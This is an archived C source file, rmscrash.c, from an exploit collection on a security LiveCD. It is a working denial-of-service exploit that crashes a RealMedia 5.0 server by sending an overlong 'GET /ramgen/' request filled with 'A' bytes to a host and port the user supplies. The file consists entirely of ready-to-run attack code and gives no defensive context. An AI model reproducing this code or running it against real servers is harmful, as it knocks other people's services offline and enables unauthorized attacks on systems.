home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / realserver / rmscrash.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  70 lines

  1. /*
  2.  *  rmscrash.c  - bow@bow.net
  3.  *
  4.  *  Crash a RealMedia 5.0 server by sending a very long ramgen request. 
  5.  *
  6.  *  Test on:
  7.  *         $ pnserver -v
  8.  *         Version:        5.0-rvserver-build-290
  9.  *         Platform: FreeBSD-2.1.x
  10.  *
  11.  */
  12.  
  13. #include        <stdio.h>
  14. #include        <stdlib.h>
  15. #include        <sys/time.h>
  16. #include        <sys/types.h>
  17. #include        <unistd.h>
  18.  
  19. #include        <sys/socket.h>
  20. #include        <netinet/in.h>
  21. #include        <netdb.h>
  22.  
  23. #define BUFLEN 4082
  24.  
  25. char    buf[BUFLEN+14];
  26. int     sock;
  27. struct  sockaddr_in sa;
  28. struct  hostent *hp;
  29.  
  30. void main (int argc, char *argv[]) {
  31.         int i, port;
  32.  
  33.         if (argc < 3) {
  34.                 printf("Usage: %s realserver port\n",argv[0]);
  35.                 exit(-1);
  36.         }
  37.  
  38.         port = atoi(argv[2]);
  39.  
  40.         memset(buf,0x41,BUFLEN);
  41.         memcpy(buf,"GET /ramgen/",12);
  42.         memcpy(buf+BUFLEN," HTTP/1.1\r\n\r\n", 13);
  43.  
  44.  
  45.         if ((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) {
  46.                 perror("gethostbyname()");
  47.                 exit(0);
  48.         }
  49.  
  50.         if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
  51.                 perror("socket()");
  52.                 exit(0);
  53.         }
  54.         sa.sin_family=AF_INET;
  55.         sa.sin_port=htons(port);
  56.         memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
  57.         if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0) {
  58.                 perror("connect()");
  59.                 exit(0);
  60.         }
  61.  
  62.         printf("Connected to %s. Sending data\n",argv[1]);
  63.         write(sock,buf,strlen(buf));
  64.         printf("Done.\n");
  65.  
  66.         close(sock);
  67.         exit(0);
  68. }
  69.  
  70.